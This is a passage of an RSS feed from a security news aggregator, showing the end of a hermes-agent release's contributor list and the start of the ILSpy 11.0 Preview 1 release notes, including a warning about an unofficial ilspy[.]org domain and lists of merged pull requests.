data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Epoxidex">@Epoxidex</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ErnestHysa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ErnestHysa">@ErnestHysa</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/esthonjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/esthonjr">@esthonjr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evefromwayback/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evefromwayback">@evefromwayback</a>, @evelynburger, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/F4TB0Yz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/F4TB0Yz">@F4TB0Yz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falkoro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falkoro">@falkoro</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fanyangCS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fanyangCS">@fanyangCS</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
